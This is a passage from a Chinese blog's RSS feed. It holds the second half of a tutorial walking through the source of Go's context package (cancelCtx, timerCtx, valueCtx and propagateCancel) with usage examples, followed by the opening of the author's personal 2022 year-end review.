  // &#x6267;&#x884C;&#x540E;&#x8F93;&#x51FA;&#x7ED3;&#x679C;
  /*
	Cancelled
	Received:  1
	Cancelled
	Cancelled
	Cancelled
	*/
}

func doJob(ctx context.Context, doChan chan interface{}) {
	select {
	case &lt;-ctx.Done():
		fmt.Println(&quot;Cancelled&quot;)
		return
	case res := &lt;-doChan:
		fmt.Println(&quot;Received: &quot;, res)
		return
	}
}
</code></pre>
<p>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x4E0A;&#x8FF0;&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#x7684;&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x53EA;&#x6709;&#x4E00;&#x4E2A; <code>Received</code>&#xFF0C;&#x5176;&#x4ED6;&#x7684;&#x5B50;&#x534F;&#x7A0B;&#x7531;&#x4E8E;&#x6536;&#x5230;&#x4E86;&#x53D6;&#x6D88;&#x7684;&#x4FE1;&#x53F7;&#xFF0C;&#x5C31;&#x76F4;&#x63A5; <code>return</code> &#xFF0C;&#x4E0D;&#x5F80;&#x4E0B;&#x6267;&#x884C;&#x4E86;&#xFF0C;&#x53EF;&#x4EE5;&#x907F;&#x514D;&#x534F;&#x7A0B;&#x8D44;&#x6E90;&#x6CA1;&#x6709;&#x88AB;&#x56DE;&#x6536;&#x5F15;&#x8D77;&#x7684;&#x5185;&#x5B58;&#x6CC4;&#x9732;&#x3002;</p>
<p>&#x518D;&#x770B;&#x770B; <code>WithCancel</code>&#x7684;&#x6E90;&#x7801;&#xFF1A;</p>
<pre><code class="language-go">func WithCancel(parent Context) (ctx Context, cancel CancelFunc) {
	if parent == nil {
		panic(&quot;cannot create context from nil parent&quot;)
	}
         // WithCancel&#x901A;&#x8FC7;&#x4E00;&#x4E2A;&#x7236;&#x7EA7;Context&#x6765;&#x521B;&#x5EFA;&#x51FA;&#x4E00;&#x4E2A;cancelCtx
	c := newCancelCtx(parent)
         // &#x8C03;&#x7528;propagateCancel&#x6839;&#x636E;&#x7236;&#x7EA7;context&#x7684;&#x72B6;&#x6001;&#x6765;&#x5173;&#x8054;cancelCtx&#x7684;cancel&#x884C;&#x4E3A;
	propagateCancel(parent, &amp;c)
         // &#x8FD4;&#x56DE;c&#x548C;&#x4E00;&#x4E2A;&#x65B9;&#x6CD5;&#xFF0C;&#x65B9;&#x6CD5;&#x4E2D;&#x8C03;&#x7528;c.cancel&#x5E76;&#x4F20;&#x9012;Canceled&#x53D8;&#x91CF;
	return &amp;c, func() { c.cancel(true, Canceled) }
}

func newCancelCtx(parent Context) cancelCtx {
	return cancelCtx{Context: parent}
}
var Canceled = errors.New(&quot;context canceled&quot;)
</code></pre>
<p><code>WithCancel</code>&#x901A;&#x8FC7;&#x4E00;&#x4E2A;&#x7236;&#x7EA7;<code>Context</code>&#x6765;&#x521B;&#x5EFA;&#x51FA;&#x4E00;&#x4E2A;<code>cancelCtx</code>&#xFF0C;&#x7136;&#x540E;&#x8C03;&#x7528;<code>propagateCancel</code>&#x6839;&#x636E;&#x7236;&#x7EA7;<code>context</code>&#x7684;&#x72B6;&#x6001;&#x6765;&#x5173;&#x8054;<code>cancelCtx</code>&#x7684;<code>cancel</code>&#x884C;&#x4E3A;&#xFF08;&#x611F;&#x89C9;&#x8FD9;&#x91CC;&#x4E0D;&#x5E94;&#x8BE5;&#x53EB;propagate&#xFF0C;&#x5192;&#x6CE1;&#x4E00;&#x822C;&#x7406;&#x89E3;&#x662F;&#x81EA;&#x4E0B;&#x5411;&#x4E0A;&#xFF0C;&#x8FD9;&#x4E2A;&#x51FD;&#x6570;&#x660E;&#x663E;&#x662F;&#x81EA;&#x4E0B;&#x5411;&#x4E0A;&#xFF0C;&#x5E94;&#x8BE5;&#x53EB;cascade&#x66F4;&#x4E3A;&#x5408;&#x7406;&#x4E00;&#x4E9B;&#xFF09;&#x3002;&#x968F;&#x540E;&#x8FD4;&#x56DE;c&#x548C;&#x4E00;&#x4E2A;&#x65B9;&#x6CD5;&#xFF0C;&#x65B9;&#x6CD5;&#x4E2D;&#x8C03;&#x7528;c.cancel&#x5E76;&#x4F20;&#x9012;<code>Canceled</code>&#x53D8;&#x91CF;&#xFF08;&#x5176;&#x5B9E;&#x662F;&#x4E00;&#x4E2A;<code>error</code>&#x5B9E;&#x4F8B;&#xFF09;&#xFF1B;</p>
<p><code>cancelCtx</code>&#x662F;<code>WidthDeadline</code>&#x548C;<code>WidthTimeout</code>&#x7684;&#x57FA;&#x77F3;&#xFF0C;&#x6240;&#x4EE5;<code>cancelCtx</code>&#x7684;&#x5B9E;&#x73B0;&#x76F8;&#x5BF9;&#x590D;&#x6742;&#x3002;</p>
<p><code>newCancelCtx</code>&#x65B9;&#x6CD5;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x662F;&#x521B;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A;<code>cancelCtx</code>&#x5B9E;&#x4F8B;</p>
<pre><code class="language-go">func newCancelCtx(parent Context) cancelCtx {
	return cancelCtx{Context: parent}
}
</code></pre>
<p>&#x518D;&#x770B;&#x770B; <code>cancelCtx</code> &#x7684;&#x5B9A;&#x4E49;</p>
<pre><code class="language-go">// A cancelCtx can be canceled. When canceled, it also cancels any children
// that implement canceler.
type cancelCtx struct {
	Context // &#x5185;&#x5D4C;&#x7ED3;&#x6784;&#x4F53;

	mu       sync.Mutex            // protects following fields
	done     atomic.Value          // of chan struct{}, created lazily, closed by first cancel call
	children map[canceler]struct{} // set to nil by the first cancel call
	err      error                 // set to non-nil by the first cancel call
}

// &#x51FD;&#x6570;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x53EA;&#x8BFB;channel&#xFF0C;&#x800C;&#x4E14;&#x6CA1;&#x6709;&#x5730;&#x65B9;&#x5411;&#x8FD9;&#x4E2A;channel&#x91CC;&#x5199;&#x6570;&#x636E;&#x3002;&#x6240;&#x4EE5;&#x76F4;&#x63A5;&#x8C03;&#x7528;&#x8FD9;&#x4E2A;&#x53EA;&#x8BFB;channel&#x4F1A;&#x88AB;&#x963B;&#x585E;&#x3002;&#x4E00;&#x822C;&#x901A;&#x8FC7;&#x642D;&#x914D; select &#x6765;&#x4F7F;&#x7528;&#x3002;&#x4E00;&#x65E6;&#x5173;&#x95ED;&#xFF0C;&#x5C31;&#x4F1A;&#x7ACB;&#x5373;&#x8BFB;&#x51FA;&#x96F6;&#x503C;&#x3002;
func (c *cancelCtx) Done() &lt;-chan struct{} {
    c.mu.Lock()
    if c.done == nil {
        c.done = make(chan struct{})
    }
    d := c.done
    c.mu.Unlock()
    return d
}

// &#x8FD9;&#x4E2A;&#x51FD;&#x6570;&#x529F;&#x80FD;&#x5C31;&#x662F;&#x5173;&#x95ED;channel&#xFF1A;c.done();
// &#x9012;&#x5F52;&#x53D6;&#x6D88;&#x5B83;&#x7684;&#x6240;&#x6709;&#x5B50;&#x8282;&#x70B9;&#xFF1B;&#x6700;&#x540E;&#x4ECE;&#x7236;&#x8282;&#x70B9;&#x5220;&#x9664;&#x81EA;&#x5DF1;&#x3002;
// &#x901A;&#x8FC7;&#x5173;&#x95ED;channel&#xFF0C;&#x5C06;&#x53D6;&#x6D88;&#x4FE1;&#x53F7;&#x4F20;&#x9012;&#x7ED9;&#x4E86;&#x5B83;&#x7684;&#x6240;&#x6709;&#x5B50;&#x8282;&#x70B9;&#x3002;
// goroutine &#x63A5;&#x6536;&#x5230;&#x53D6;&#x6D88;&#x4FE1;&#x53F7;&#x7684;&#x65B9;&#x5F0F;&#x5C31;&#x662F; select &#x8BED;&#x53E5;&#x4E2D;&#x7684; &#x8BFB;c.done &#x88AB;&#x9009;&#x4E2D;
func (c *cancelCtx) cancel(removeFromParent bool, err error) {
    if err == nil {// &#x5FC5;&#x987B;&#x4F20;&#x4E00;&#x4E2A;err&#x503C;&#xFF0C;&#x540E;&#x9762;&#x5224;&#x65AD;&#x7528;
        panic(&quot;context: internal error: missing cancel error&quot;)
    }
    c.mu.Lock()
    if c.err != nil {
        c.mu.Unlock()
        return // already canceled &#x5DF2;&#x7ECF;&#x88AB;&#x5176;&#x4ED6;&#x534F;&#x7A0B;&#x53D6;&#x6D88;&#x4E86;
    }
    c.err = err
    
    // &#x5173;&#x95ED;channel&#xFF0C;&#x901A;&#x77E5;&#x5176;&#x4ED6;&#x534F;&#x7A0B;
    if c.done == nil {
        c.done = closedchan
    } else {
        close(c.done)
    }
    //&#x904D;&#x5386;&#x5B83;&#x662F;&#x6240;&#x6709;&#x5B50;&#x8282;&#x70B9;
    for child := range c.children {
        // NOTE: acquiring the child&apos;s lock while holding parent&apos;s lock.
        child.cancel(false, err)// &#x9012;&#x5F52;&#x5730;&#x53D6;&#x6D88;&#x6240;&#x6709;&#x5B50;&#x8282;&#x70B9;
    }
    // &#x5C06;&#x5B50;&#x8282;&#x70B9;&#x6E05;&#x7A7A;
    c.children = nil
    c.mu.Unlock()
    if removeFromParent {
       // &#x4ECE;&#x7236;&#x8282;&#x70B9;&#x4E2D;&#x79FB;&#x9664;&#x81EA;&#x5DF1;
        removeChild(c.Context, c)
    }
}
</code></pre>
<p><code>cancelCtx</code>&#x6709;&#x4E00;&#x4E2A;&#x5185;&#x5D4C;&#x7684;<code>Context</code>&#x7C7B;&#x578B;&#xFF0C;&#x5B9E;&#x9645;&#x5B58;&#x50A8;&#x7684;&#x90FD;&#x662F;&#x7236;&#x7EA7;&#x4E0A;&#x4E0B;&#x6587;&#x5BF9;&#x8C61;&#xFF0C;&#x8FD8;&#x6709;&#x56DB;&#x4E2A;&#x72EC;&#x7ACB;&#x7684;&#x5B57;&#x6BB5;&#xFF1A;</p>
<ul>
<li>mu&#xFF1A;&#x4E00;&#x4E2A;&#x4E92;&#x65A5;&#x91CF;&#xFF0C;&#x7528;&#x6765;&#x52A0;&#x9501;&#x4FDD;&#x8BC1;&#x67D0;&#x4E9B;&#x64CD;&#x4F5C;&#x7684;&#x7EBF;&#x7A0B;&#x5B89;&#x5168;&#x6027;</li>
<li>done&#xFF1A;atomic.Value&#x4E00;&#x4E2A;&#x53EF;&#x4EE5;&#x5BF9;&#x4EFB;&#x610F;&#x7C7B;&#x578B;&#x8FDB;&#x884C;&#x539F;&#x5B50;&#x578B;&#x64CD;&#x4F5C;&#x7684;&#x7ED3;&#x6784;&#xFF1B;&#x63D0;&#x4F9B;Load&#x548C;Store&#x65B9;&#x6CD5;&#xFF1B;&#x770B;Go&#x6E90;&#x7801;&#x8FD9;&#x91CC;&#x5B58;&#x7684;&#x662F;&#x4E00;&#x4E2A;struct{}&#x7C7B;&#x578B;&#x7684;channel</li>
<li>children&#xFF1A;&#x4E00;&#x4E2A;key&#x4E3A;canceler&#x503C;&#x4E3A;struct{}&#x7684;map&#x7C7B;&#x578B;&#xFF1B;</li>
<li>err&#xFF1A;&#x5B58;&#x653E;error&#x7684;&#x5B57;&#x6BB5;</li>
</ul>
<p>&#x8FD9;&#x91CC;&#x7684;<code>canceler</code>&#x662F;&#x4E00;&#x4E2A;&#x63A5;&#x53E3;&#xFF0C;&#x4EE3;&#x8868;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x88AB;<code>cancel</code>&#x7684;<code>Context</code>&#x7C7B;&#x578B;&#xFF0C;&#x57FA;&#x672C;&#x6307;&#x7684;&#x662F;<code> *cancelCtx</code>&#x548C; <code>*timerCtx</code>&#x4E24;&#x79CD;<code>context</code>&#xFF0C;&#x4E5F;&#x88AB;&#x4ED6;&#x4FE9;&#x5B9E;&#x73B0;</p>
<pre><code class="language-go">// A canceler is a context type that can be canceled directly. The
// implementations are *cancelCtx and *timerCtx.
type canceler interface {
	cancel(removeFromParent bool, err error)
	Done() &lt;-chan struct{}
}
</code></pre>
<p>&#x4E0B;&#x9762;&#x770B;&#x4E0B;<code>propagateCancel</code>&#xFF0C;&#x636E;&#x7236;&#x7EA7;<code>context</code>&#x7684;&#x72B6;&#x6001;&#x6765;&#x5173;&#x8054;<code>cancelCtx</code>&#x7684;<code>cancel</code>&#x884C;&#x4E3A;</p>
<pre><code class="language-go">// propagateCancel arranges for child to be canceled when parent is.
func propagateCancel(parent Context, child canceler) {
   // &#x7236;&#x8282;&#x70B9;&#x662F;&#x7A7A;&#x7684;&#xFF0C;&#x76F4;&#x63A5;&#x8FD4;&#x56DE;
    if parent.Done() == nil {
        return // parent is never canceled
    }
    
    if p, ok := parentCancelCtx(parent); ok {
        p.mu.Lock()
        if p.err != nil {
            // parent has already been canceled
            child.cancel(false, p.err)//&#x7236;&#x8282;&#x70B9;&#x5DF2;&#x7ECF;&#x53D6;&#x6D88;&#xFF0C;&#x5B83;&#x7684;&#x5B50;&#x8282;&#x70B9;&#x4E5F;&#x9700;&#x8981;&#x53D6;&#x6D88;
        } else {
            //&#x7236;&#x8282;&#x70B9;&#x672A;&#x53D6;&#x6D88;
            if p.children == nil {
                p.children = make(map[canceler]struct{})
            }
            // &#x628A;&#x8FD9;&#x4E2A;child&#x653E;&#x5230;&#x7236;&#x8282;&#x70B9;&#x4E0A;
            p.children[child] = struct{}{}
        }
        p.mu.Unlock()
    } else {
      // &#x5982;&#x679C;&#x6CA1;&#x6709;&#x627E;&#x5230;&#x53EF;&#x53D6;&#x6D88;&#x7684;&#x7236; context&#x3002;&#x65B0;&#x542F;&#x52A8;&#x4E00;&#x4E2A;&#x534F;&#x7A0B;&#x76D1;&#x63A7;&#x7236;&#x8282;&#x70B9;&#x6216;&#x5B50;&#x8282;&#x70B9;&#x53D6;&#x6D88;&#x4FE1;&#x53F7;
        go func() {
            select {          
             // &#x4FDD;&#x8BC1;&#x7236;&#x8282;&#x70B9;&#x88AB;&#x53D6;&#x6D88;&#x7684;&#x65F6;&#x5019;&#x5B50;&#x8282;&#x70B9;&#x4F1A;&#x88AB;&#x53D6;&#x6D88;
            case &lt;-parent.Done():
                child.cancel(false, parent.Err())
            case &lt;-child.Done():
            }
        }()
    }
}
</code></pre>
<p><strong>parentCancelCtx</strong></p>
<p>&#x8FD9;&#x4E2A;&#x51FD;&#x6570;&#x8BC6;&#x522B;&#x4E09;&#x79CD;&#x7C7B;&#x578B;&#x7684;<code>Context</code>&#xFF1A;<code>cancelCtx</code>&#xFF0C;<code>timerCtx</code>&#xFF0C;<code>valueCtx</code></p>
<pre><code class="language-go">func parentCancelCtx(parent Context) (*cancelCtx, bool) {
    for {
        switch c := parent.(type) {
        case *cancelCtx:
            return c, true    // &#x627E;&#x5230;&#x6700;&#x8FD1;&#x652F;&#x6301;cancel&#x7684;parent&#xFF0C;&#x7531;parent&#x8FDB;&#x884C;&#x53D6;&#x6D88;&#x64CD;&#x4F5C;&#x7684;&#x8C03;&#x7528;
        case *timerCtx:
            return &amp;c.cancelCtx, true // &#x627E;&#x5230;&#x6700;&#x8FD1;&#x652F;&#x6301;cancel&#x7684;parent&#xFF0C;&#x7531;parent&#x8FDB;&#x884C;&#x53D6;&#x6D88;&#x64CD;&#x4F5C;&#x7684;&#x8C03;&#x7528;
        case *valueCtx:
            parent = c.Context // &#x9012;&#x5F52;
        default:
            return nil, false
        }
    }
}
</code></pre>
<p><strong>timerCtx</strong></p>
<p><code>timerCtx</code>&#x5D4C;&#x5165;&#x4E86;<code>cancelCtx</code>&#x7ED3;&#x6784;&#x4F53;&#xFF0C;&#x6240;&#x4EE5;<code>cancelCtx</code>&#x7684;&#x65B9;&#x6CD5;&#x4E5F;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x3002;<br>
<code>timerCtx</code>&#x4E3B;&#x8981;&#x662F;&#x7528;&#x4E8E;&#x5B9E;&#x73B0;<code>WithDeadline</code>&#x548C;<code>WithTimeout</code>&#x4E24;&#x4E2A;<code>context</code>&#x5B9E;&#x73B0;&#xFF0C;&#x5176;&#x7EE7;&#x627F;&#x4E86;<code>cancelCtx</code>&#x7ED3;&#x6784;&#x4F53;&#xFF0C;&#x540C;&#x65F6;&#x8FD8;&#x5305;&#x542B;&#x4E00;&#x4E2A;<code>timer.Timer</code>&#x5B9A;&#x65F6;&#x5668;&#x548C;&#x4E00;&#x4E2A;<code>deadline</code>&#x7EC8;&#x6B62;&#x5B9E;&#x73B0;&#x3002;<code>Timer</code>&#x4F1A;&#x5728;<code>deadline</code>&#x5230;&#x6765;&#x65F6;&#xFF0C;&#x81EA;&#x52A8;&#x53D6;&#x6D88;<code>context</code>&#x3002;</p>
<pre><code class="language-go">// A timerCtx carries a timer and a deadline. It embeds a cancelCtx to
// implement Done and Err. It implements cancel by stopping its timer then
// delegating to cancelCtx.cancel.
type timerCtx struct {
	*cancelCtx
	timer *time.Timer // Under cancelCtx.mu.

	deadline time.Time
}

func (c *timerCtx) cancel(removeFromParent bool, err error) {
   c.cancelCtx.cancel(false, err) //&#x7531;&#x4E8E;&#x7EE7;&#x627F;&#x4E86;cancelCtx&#xFF0C;&#x8FD9;&#x91CC;&#x8C03;&#x7528;&#x4E86;cancelCtx&#x7684;cancel()&#x65B9;&#x6CD5;
    if removeFromParent {
        // Remove this timerCtx from its parent cancelCtx&apos;s children.
        removeChild(c.cancelCtx.Context, c)
    }
    c.mu.Lock()
    if c.timer != nil {
        c.timer.Stop()//&#x505C;&#x6B62;&#x5B9A;&#x65F6;&#x5668;
        c.timer = nil
    }
    c.mu.Unlock()
}
</code></pre>
<p>&#x4E0A;&#x65B9; <code>cancel</code>&#x51FD;&#x6570;&#x7EE7;&#x627F;&#x4E86;<code>cancelCtx</code>&#x7684;&#x65B9;&#x6CD5;cancel()&#xFF0C;&#x7136;&#x540E;&#x540E;&#x9762;&#x8FDB;&#x884C;&#x81EA;&#x8EAB;&#x5B9A;&#x65F6;&#x5668;<code>Stop()</code>&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x53EF;&#x4EE5;&#x5B9E;&#x73B0;&#x53D6;&#x6D88;&#x64CD;&#x4F5C;&#x4E86;&#x3002;</p>
<p><strong>valueCtx</strong></p>
<pre><code class="language-go">// A valueCtx carries a key-value pair. It implements Value for that key and
// delegates all other calls to the embedded Context.
type valueCtx struct {
	Context
	key, val any
}
</code></pre>
<pre><code class="language-go">func WithValue(parent Context, key, val any) Context {
	if parent == nil {
		panic(&quot;cannot create context from nil parent&quot;)
	}
	if key == nil {
		panic(&quot;nil key&quot;)
	}
	if !reflectlite.TypeOf(key).Comparable() {
		panic(&quot;key is not comparable&quot;)
	}
	return &amp;valueCtx{parent, key, val}
}
</code></pre>
<p>&#x901A;&#x8FC7;&#x952E;&#x503C;&#x5BF9;&#x7684;&#x65B9;&#x5F0F;&#x4FDD;&#x5B58;(&#x6CE8;&#x610F;value&#x662F;&#x975E;&#x7EBF;&#x7A0B;&#x5B89;&#x5168;)</p>
<pre><code class="language-go">func (c *valueCtx) String() string {
	return contextName(c.Context) + &quot;.WithValue(type &quot; +
		reflectlite.TypeOf(c.key).String() +
		&quot;, val &quot; + stringify(c.val) + &quot;)&quot;
}

func (c *valueCtx) Value(key any) any {
	if c.key == key {
		return c.val
	}
	return value(c.Context, key)
}
</code></pre>
<p>&#x5982;&#x679C;<code>key</code>&#x4E0E;<code>WithValue</code>&#x8C03;&#x7528;&#x65F6;&#x76F8;&#x540C;&#xFF0C;&#x5219;&#x8FD4;&#x56DE;&#x5BF9;&#x5E94;&#x7684;<code>val</code>&#xFF0C;&#x5426;&#x5219;&#x8FDB;&#x5165;<code>value</code>&#x65B9;&#x6CD5;&#xFF0C;&#x5728;&#x5185;&#x5D4C;&#x7684;<code>Context</code>&#x4E2D;&#x67E5;&#x627E;<code>key</code>&#x5BF9;&#x5E94;&#x7684;&#x503C;&#xFF0C;&#x6839;&#x636E;<code>Context</code>&#x7C7B;&#x578B;&#x5148;&#x505A;&#x4E00;&#x4E9B;&#x7C7B;&#x578B;&#x5224;&#x65AD;&#xFF0C;&#x6765;&#x5224;&#x65AD;&#x4E00;&#x4E9B;&#x5173;&#x952E;&#x7684;<code>key</code>&#x5982;<code>cancelCtxKey</code>&#xFF0C;&#x4E0D;&#x7136;&#x7EE7;&#x7EED;&#x5728;&#x5185;&#x5D4C;<code>Context</code>&#x4E2D;&#x67E5;&#x627E;&#x3002;</p>
<h1 id="0x03-%E4%BD%BF%E7%94%A8%E7%A4%BA%E4%BE%8B">0x03 &#x4F7F;&#x7528;&#x793A;&#x4F8B;</h1>
<h2 id="%E5%B8%A6%E8%B6%85%E6%97%B6%E7%9A%84%E4%B8%8A%E4%B8%8B%E6%96%87">&#x5E26;&#x8D85;&#x65F6;&#x7684;&#x4E0A;&#x4E0B;&#x6587;</h2>
<pre><code class="language-go">func main() {
	ctx, cancel := context.WithTimeout(context.Background(), time.Second*5)
	defer cancel() // &#x5728;&#x51FD;&#x6570;&#x7ED3;&#x675F;&#x65F6;&#x8C03;&#x7528; cancel &#x51FD;&#x6570;&#x91CA;&#x653E;&#x8D44;&#x6E90;
	// &#x4F7F;&#x7528; ctx &#x6267;&#x884C;&#x4E00;&#x4E9B;&#x9700;&#x8981;&#x5728; 5 &#x79D2;&#x5185;&#x5B8C;&#x6210;&#x7684;&#x64CD;&#x4F5C;

	done := make(chan bool)

	go func(doneCh chan bool) {
		// &#x6A21;&#x62DF;&#x8D85;&#x65F6;&#x884C;&#x4E3A;
		time.Sleep(10 * time.Second)
		doneCh &lt;- true
	}(done)

	select {
	case &lt;-ctx.Done():
		// &#x7ED3;&#x675F;,&#x91CA;&#x653E;&#x8D44;&#x6E90;
		fmt.Println(&quot;Cancelled&quot;)
		return
	case &lt;-done:
		fmt.Println(&quot;Received&quot;)
		return
	}
}
</code></pre>
<h2 id="%E5%B8%A6%E6%88%AA%E6%AD%A2%E6%97%B6%E9%97%B4%E7%9A%84%E4%B8%8A%E4%B8%8B%E6%96%87">&#x5E26;&#x622A;&#x6B62;&#x65F6;&#x95F4;&#x7684;&#x4E0A;&#x4E0B;&#x6587;</h2>
<pre><code class="language-go">deadline := time.Now().Add(time.Second * 10)  // 10 &#x79D2;&#x540E;&#x7684;&#x622A;&#x6B62;&#x65F6;&#x95F4;
ctx, cancel := context.WithDeadline(context.Background(), deadline)
defer cancel()

// &#x4F7F;&#x7528; ctx &#x6267;&#x884C;&#x4E00;&#x4E9B;&#x9700;&#x8981;&#x5728; 10 &#x79D2;&#x5185;&#x5B8C;&#x6210;&#x7684;&#x64CD;&#x4F5C;
</code></pre>
<h2 id="%E4%BC%A0%E9%80%92%E5%80%BC%E7%9A%84%E4%B8%8A%E4%B8%8B%E6%96%87">&#x4F20;&#x9012;&#x503C;&#x7684;&#x4E0A;&#x4E0B;&#x6587;</h2>
<pre><code class="language-go">ctx := context.WithValue(context.Background(), key, value)

// &#x5728;&#x5176;&#x4ED6;&#x51FD;&#x6570;&#x4E2D;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; ctx.Value(key) &#x83B7;&#x53D6;&#x4F20;&#x9012;&#x7684;&#x503C;
</code></pre>
<h2 id="%E5%B9%B6%E5%8F%91%E6%8E%A7%E5%88%B6">&#x5E76;&#x53D1;&#x63A7;&#x5236;</h2>
<pre><code class="language-go">ctx, cancel := context.WithCancel(context.Background())
defer cancel()

go func() {
    // &#x6267;&#x884C;&#x4E00;&#x4E9B;&#x8017;&#x65F6;&#x7684;&#x64CD;&#x4F5C;

    // &#x5728;&#x64CD;&#x4F5C;&#x5B8C;&#x6210;&#x6216;&#x9700;&#x8981;&#x63D0;&#x524D;&#x9000;&#x51FA;&#x65F6;&#x8C03;&#x7528; cancel &#x51FD;&#x6570;
    cancel()
}()

// &#x5728;&#x4E3B;&#x51FD;&#x6570;&#x6216;&#x5176;&#x4ED6;&#x9700;&#x8981;&#x7B49;&#x5F85;&#x7684;&#x5730;&#x65B9;&#xFF0C;&#x4F7F;&#x7528; &lt;-ctx.Done() &#x63A5;&#x6536;&#x4FE1;&#x53F7;
select {
case &lt;-ctx.Done():
    // &#x6536;&#x5230;&#x4FE1;&#x53F7;&#x540E;&#x7684;&#x5904;&#x7406;&#x903B;&#x8F91;
}
</code></pre>
]]></content:encoded></item><item><title><![CDATA[2022年总结以及新年计划]]></title><description><![CDATA[岁末临近，新年将至。即将告别2022，循例一年一度的个人总结。]]></description><link>https://iobiji.com/2022-summary-and-2023-plan/</link><guid isPermaLink="false">656e0e57d732aa747eb2817c</guid><category><![CDATA[生活杂记]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Sat, 31 Dec 2022 16:00:06 GMT</pubDate><media:content url="https://cdn.iobiji.com/2022/12/v06002_537132-1643.webp" medium="image"/><content:encoded><![CDATA[<h1 id="0x0-%E5%89%8D%E8%A8%80">0x0 &#x524D;&#x8A00;</h1>
<blockquote>
<img src="https://cdn.iobiji.com/2022/12/v06002_537132-1643.webp" alt="2022&#x5E74;&#x603B;&#x7ED3;&#x4EE5;&#x53CA;&#x65B0;&#x5E74;&#x8BA1;&#x5212;"><p>&#x51AC;&#x5929;&#x5230;&#x4E86;&#xFF0C;&#x6625;&#x5929;&#x8FD8;&#x4F1A;&#x8FDC;&#x5417;&#xFF1F;</p>
</blockquote>
<p>&#x5C81;&#x672B;&#x4E34;&#x8FD1;&#xFF0C;&#x65B0;&#x5E74;&#x5C06;&#x81F3;&#x3002;&#x5373;&#x5C06;&#x544A;&#x522B;2022&#xFF0C;&#x5FAA;&#x4F8B;&#x4E00;&#x5E74;&#x4E00;&#x5EA6;&#x7684;&#x4E2A;&#x4EBA;&#x603B;&#x7ED3;&#x3002;</p>
<h1 id="0x1-%E7%94%9F%E6%B4%BB">0x1 &#x751F;&#x6D3B;</h1>
<p>2022&#x5E74;&#xFF0C;&#x75AB;&#x60C5;&#x5DF2;&#x8FC7;&#x4E09;&#x5E74;&#xFF0C;&#x9632;&#x75AB;&#x653F;&#x7B56;&#x4E5F;&#x8FCE;&#x6765;&#x4E86;&#x5B83;&#x7684;&#x65B0;&#x9762;&#x76EE;&#xFF0C;&#x653E;&#x5F00;&#x5F97;&#x5F88;&#x7A81;&#x7136;&#xFF0C;&#x9762;&#x5BF9;&#x8FD9;&#x7A81;&#x5982;&#x5176;&#x6765;&#x7684;&#x6539;&#x53D8;&#xFF0C;&#x4F3C;&#x4E4E;&#x5927;&#x5BB6;&#x90FD;&#x9009;&#x62E9;&#x4E86;&#x8EBA;&#x5E73;&#x3002;&#x3002;&#x5BB6;&#x91CC;&#x8001;&#x4EBA;&#x5C0F;&#x5B69;&#x90FD;&#x6709;&#x9633;&#x4E86;&#xFF0C;&#x73B0;&#x5728;&#x90FD;&#x5DF2;&#x7ECF;&#x9633;&#x5EB7;&#xFF0C;&#x5F88;&#x5E86;&#x5E78;&#x6240;&#x6709;&#x4EBA;&#x90FD;&#x5B89;&#x5168;&#x65E0;&#x6059;&#x3002;&#x8FD9;&#x5927;&#x6982;&#x662F;&#x4ECA;&#x5E74;&#x6700;&#x597D;&#x7684;&#x6D88;&#x606F;&#x4E86;&#x3002;&#x6211;&#x7684;&#x4E09;&#x8205;&#x4E5F;&#x628A;&#x4E5D;&#x6708;&#x4ECE;&#x5E7F;&#x5DDE;&#x5E26;&#x4E86;&#x56DE;&#x6765;&#xFF0C;&#x732B;&#x732B;&#x5DF2;&#x7ECF;&#x719F;&#x6089;&#x4E24;&#x5929;&#x4E86;&#xFF0C;&#x4ED6;&#x8FD8;&#x662F;&#x4E0D;&#x592A;&#x6562;&#x51FA;&#x623F;&#x95F4;&#x95E8;&#x3002;&#x8FD9;&#x4E00;&#x5E74;&#x6765;&#x6211;&#x7684;&#x5FC3;&#x60C5;&#x53CD;&#x590D;&#xFF0C;&#x6709;&#x8FC7;&#x75DB;&#x82E6;&#x4E5F;&#x6709;&#x8FC7;&#x5FEB;&#x4E50;&#xFF0C;&#x53EF;&#x4EE5;&#x8BF4;&#x662F;&#x75DB;&#x5E76;&#x5FEB;&#x4E50;&#x7740;&#x3002;&#x56E0;&#x4E3A;&#x662F;&#x63D2;&#x672C;&#x5907;&#x8003;&#x7684;&#x539F;&#x56E0;&#xFF0C;&#x8FD8;&#x6709;&#x5176;&#x4ED6;&#x5927;&#x5927;&#x5C0F;&#x5C0F;&#x7684;&#x4E8B;&#x60C5;&#x8981;&#x5FD9;&#xFF0C;&#x5065;&#x8EAB;&#x7684;&#x8BA1;&#x5212;&#x4E5F;&#x6401;&#x7F6E;&#x5F88;&#x4E45;&#x3002;&#x8003;&#x5B8C;&#x8BD5;&#x540E;&#xFF0C;&#x518D;<code>&#x5EB7;&#x590D;&#x8BAD;&#x7EC3;</code>&#x5427;&#x3002;<br>
<img src="https://cdn.iobiji.com/2022/12/WechatIMG299.jpeg" alt="2022&#x5E74;&#x603B;&#x7ED3;&#x4EE5;&#x53CA;&#x65B0;&#x5E74;&#x8BA1;&#x5212;" loading="lazy"></p>
<h1 id="0x2-%E5%AD%A6%E4%B9%A0">0x2 &#x5B66;&#x4E60;</h1>
<p>&#x4ECA;&#x5E74;&#x662F;&#x6BD5;&#x4E1A;&#x5B63;&#xFF0C;&#x4E13;&#x4E1A;&#x8BFE;&#x7A0B;&#x5168;&#x90E8;&#x4EE5;&#x4F18;&#x5B8C;&#x6210;&#x3002;&#x4ECA;&#x5E74;&#x52A0;&#x5F3A;&#x4E86;<code>java</code>&#x6280;&#x80FD;&#x4E4B;&#x5916;&#xFF0C;&#x4E5F;&#x6DF1;&#x5165;&#x4E86;<code>GO</code>&#x8BED;&#x8A00;&#x7684;&#x5B66;&#x4E60;&#x3002;</p>
